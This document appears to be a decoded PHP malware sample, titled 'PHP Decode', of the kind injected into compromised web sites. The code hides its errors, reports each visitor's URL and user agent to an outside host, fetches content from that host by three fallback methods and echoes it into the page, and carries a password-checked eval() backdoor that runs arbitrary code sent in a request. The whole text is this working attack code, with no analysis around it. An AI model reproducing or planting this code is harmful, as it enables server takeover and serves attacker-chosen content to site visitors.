PHP Decode

<?php if (isset($ibv)) { 
    echo $ibv; 
} else { 
    error_reporting(0); 
    ini_set("display_errors", "0"); 
    if (!isset($ibv)) { 
        if (!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]); 
        if (preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; 
        else $c = "w"; 
        $d = $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; 
        $u = $_SERVER["HTTP_USER_AGENT"]; 
        $url = "http://webdatingchat.com/get.php?d=" . urlencode($d) . "&u=" . urlencode($u) . "&c=" . $c . "&i=1&h=" . md5("96af9cdbb19cdd008bc29525137b83fd" . $d . $u . $c . "1"); 
        if (ini_get("allow_url_fopen") == 1) { 
            $ibv = file_get_contents($url); 
        } elseif (function_exists("curl_init")) { 
            $ch = curl_init($url); 
            curl_setopt($ch, CURLOPT_HEADER, FALSE); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
            $result = curl_exec($ch); 
            curl_close($ch); 
            $ibv = $result; 
        } else { 
            $fp = fsockopen("webdatingchat.com", 80, $errno, $errstr, 30); 
            if ($fp) { 
                $out = "GET /get.php?d=" . urlencode($d) . "&u=" . urlencode($u) . "&c=" . $c . "&i=1&h=" . md5("96af9cdbb19cdd008bc29525137b83fd" . $d . $u . $c . "1") . " HTTP/1.1 
"; 
                $out.= "Host: webdatingchat.com 
"; 
                $out.= "Connection: Close 
 
"; 
                fwrite($fp, $out); 
                $resp = ""; 
                while (!feof($fp)) { 
                    $resp.= fgets($fp, 128); 
                } 
                fclose($fp); 
                list($header, $body) = preg_split("/\R\R/", $resp, 2); 
                $ibv = $body; 
            } 
        } 
    }; 
    if (isset($_REQUEST["p"]) && $_REQUEST["p"] == "c432c987") { 
        eval(stripslashes($_REQUEST["c"])); 
    } 
    echo $ibv; 
} ?>